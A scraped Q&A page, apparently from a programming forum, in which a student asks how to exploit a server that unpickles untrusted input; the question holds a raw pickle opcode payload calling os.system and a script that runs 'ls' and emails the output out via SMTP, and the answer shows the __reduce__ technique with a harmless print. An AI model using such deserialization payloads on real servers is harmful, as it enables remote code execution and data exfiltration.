Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

Pickle Exploiting

I have an assignment to send a pickle file to a server which unpickles anything sent to it. My plan is to have it email me back the ls command printed out. I have this file:

import smtplib
import commands
status, output = commands.getstatusoutput("ls")
server = smtplib.SMTP_SSL('smtp.gmail.com')
server.login("[email protected]", "password")
server.sendmail("[email protected]", "[email protected]", output)
server.quit()

How can I get the server to run this? I am trying to send a file like:

cos
system
(S''
tR.

with the python script in the ' '.

I was thinking something like:

cos
system
(S'python\n import smptlib\n ...'
tR.

but it doesn't execute the commands. How can I make it execute the python?

I've tried on my own computer and the python sends the email fine.

like image 797
Batman Avatar asked Dec 07 '17 22:12

Batman


1 Answers

Do whatever friendlyness you want to do in the __reduce__ method. Please don't be evil.

import pickle

class Friendly:
    def __reduce__(self):
        return (self.friendly, ('executing friendly code',))

    @staticmethod
    def friendly(x):
        print(x)

pickle.dump(Friendly(), open('pickled', 'wb'))
print('loading ...')
pickle.load(open('pickled', 'rb'))

->

$ python friendly.py
loading ...
executing friendly code

like image 81
timgeb Avatar answered Oct 05 '22 00:10

timgeb